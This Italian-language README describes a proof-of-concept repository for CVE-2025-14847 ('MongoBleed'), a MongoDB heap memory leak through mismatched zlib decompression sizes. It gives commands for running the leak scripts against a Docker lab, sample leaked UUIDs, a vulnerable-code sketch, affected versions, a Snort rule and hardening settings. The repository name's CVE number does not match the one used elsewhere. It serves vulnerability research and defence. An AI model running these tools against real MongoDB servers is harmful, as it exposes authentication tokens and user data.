CVE-2025-14847 (MongoBleed) - PoC Funzionante

Exploit di Perdita di Memoria in MongoDB - Attacco R6 Simulato

Prova di Concetto Completa per CVE-2025-14847 (MongoBleed)
Tested: ✅ MongoDB 7.0.5 | 14.300+ Exploit Riusciti | 4 UUID Persi

🎯 Sul Progetto

Questo repository contiene una Prova di Concetto (PoC) completamente funzionante per la vulnerabilità CVE-2025-14847, nota come MongoBleed — un difetto critico di divulgazione di memoria heap pre-autenticazione in MongoDB.

Contesto: L'Incidente di Rainbow Six Siege

A Dicembre 2025, il gioco Rainbow Six Siege ha subito un attacco massivo che ha compromesso ~50.000 account di giocatori. Il sospetto è che gli aggressori abbiano sfruttato questa vulnerabilità nel MongoDB del backend per perdere:

🔑 Token di autenticazione del server (R6S_SERVER_AUTH_*)
👤 UUID di giocatori e session ID
🛡️ Flag di privilegi amministrativi (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)

Questa PoC simula l'attacco con dati realistici del R6.

🔥 Funzionalità

✅ Exploit 100% Funzionante contro MongoDB 7.0.5
✅ 3 Strumenti di Exploit:
- poc.py - Exploit principale con analisi dei pattern
- live_leaker.py - Scansione incrementale avanzata
- popular_heap.py - Script per popolare l'heap con dati target
✅ Ambiente Docker Completo con MongoDB vulnerabile
✅ 1500+ Documenti Simulati del backend R6
✅ Rilevamento Automatico di 10 pattern sensibili (JWT, token, UUID, IP)
✅ Report JSON strutturati
✅ Documentazione Tecnica Completa (200+ pagine)

📊 Risultati Validati

Metrica	Risultato
MongoDB Testato	7.0.5 (Vulnerabile)
Tasso di Successo	100% (14.300/14.300 richieste)
UUID Persi	4 unici
Perdite Totali	33 stringhe distinte
Perdita Maggiore	176 byte/richiesta
Pattern Rilevati	Log di rete, UUID, percorsi di sistema

UUID Estratti (Prova Reale)

246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

🚀 Avvio Rapido

Prerequisiti

Docker & Docker Compose
Python 3.8+

Installazione

# Clona il repository
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc

# Avvia l'ambiente vulnerabile
docker-compose up -d

# Attendi l'inizializzazione (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"

Uso Base

# 1. Popola l'heap con dati R6
python3 popular_heap.py 50

# 2. Verifica la vulnerabilità
python3 poc.py --target 127.0.0.1 --check

# 3. Sfrutta con live leaker (RACCOMANDATO)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json

Output Atteso

[!] MongoBleed Live Learker Avanzato
[!] Target: 127.0.0.1:27017
[!] Intervallo: doc_len 200 → 3000 (offset=500)

[*] Progresso: doc_len=245/3000 | Tentativi=100 | Tasso successo=100.0%

[!] PATTERN R6 RILEVATI (doc_len=245):
    [UUID] 1 nuovo/i:
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

🔬 Come Funziona

Meccanismo della Vulnerabilità

MongoDB consente la compressione dei messaggi tramite zlib. La vulnerabilità risiede nella validazione inadeguata della dimensione dichiarata rispetto a quella reale:

Aggressore → {compress: "zlib", uncompressedSize: 1MB, payload: <50 byte>}
          ↓
Il server alloca 1 MB di heap  ← VULNERABILITÀ
          ↓
Il server decomprime solo 50 byte
          ↓
Il server restituisce l'intero 1 MB!
          └─ 50 byte = dati reali
          └─ ~1 MB - 50 = PERDITA DI MEMORIA

Codice Vulnerabile (Semplificato)

// PRIMA DELLA PATCH
size_t uncompressedSize = header.uncompressedSize;  // ← Controllato dall'aggressore
buffer = malloc(uncompressedSize);                  // ← Alloca dimensione malevola
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize);                     // ← PERDE L'INTERO BUFFER

📂 Struttura del Progetto

MongoDBPoc/
├── poc.py                          # Exploit principale
├── live_leaker.py                  # Scansione incrementale (✨ Raccomandato)
├── popular_heap.py                 # Script di caricamento
├── docker-compose.yml              # MongoDB 7.0.5 vulnerabile
├── init-db.js                      # 1000 giocatori + 500 sessioni R6
├── GUIA_TECNICO_COMPLETO.md       # Documentazione dettagliata (200+ pagine)
├── README.MD                       # Documentazione in inglese
└── Portuguese/                      # Versioni tradotte
    ├── poc_PT.py
    ├── README_PT.md
    └── GUIA_RAPIDO.md

🛡️ Versioni Affette

Serie MongoDB	Versioni Vulnerabili	Versione Corretta
8.2.x	8.2.0 – 8.2.2	8.2.3
8.0.x	8.0.0 – 8.0.16	8.0.17
7.0.x	7.0.0 – 7.0.27	7.0.28
6.0.x	6.0.0 – 6.0.26	6.0.27
5.0.x	5.0.0 – 5.0.31	5.0.32
4.4.x	4.4.0 – 4.4.29	4.4.30
≤ 4.2	Tutte	Nessuna patch (EOL)

🛡️ Rilevamento e Difesa

Firma Snort

alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed Attempt";
    content:"|d4 07 00 00|";
    byte_test:4,>,1000000,4,little;
    sid:2025001;
)

Configurazione Sicura (mongod.conf)

net:
  bindIp: 127.0.0.1              # MAI 0.0.0.0!
  compression:
    compressors: []              # Disabilitare zlib

security:
  authorization: enabled

Priorità di Mitigazione

🔴 CRITICO: Aggiornare alla versione corretta
🟠 ALTA: Disabilitare la compressione zlib
🟠 ALTA: Segmentare la rete (firewall)
🟡 MEDIA: Abilitare l'autenticazione

📚 Documentazione

GUIA_TECNICO_COMPLETO.md - Analisi tecnica completa (200+ pagine)
- Contesto dell'incidente R6
- Meccanismo della vulnerabilità
- Codice vulnerabile vs. corretto
- Esecuzione passo passo
- Risultati e statistiche
- Firme IDS e hardening
README.MD - Documentazione principale (inglese)
Portuguese/ - Versioni tradotte

⚠️ Avviso Legale

QUESTO STRUMENTO È SOLO PER TEST AUTORIZZATI E ISTRUZIONE.

L'uso non autorizzato è ILLEGALE e può comportare:
- Procedimenti penali (Legge 12.737/2012 in Brasile)
- Multe pesanti
- Reclusione

Ottenere SEMPRE AUTORIZZAZIONE SCRITTA prima di testare.

Uso Consentito

✅ Test di penetrazione con autorizzazione scritta
✅ Ricerca accademica in ambienti isolati
✅ Verifica delle patch dei fornitori
✅ Addestramento dei team di sicurezza

Uso Vietato

❌ Scansione o attacco a sistemi senza autorizzazione
❌ Accesso a database di produzione
❌ Vendita o weaponizzazione di questo codice

🙏 Crediti

Autore: Ermenson Jr
Licenza: MIT (Uso Educativo)
Data: Gennaio 2026

CVE-2025-14857-MongoBleed

Più Popolari

Informazioni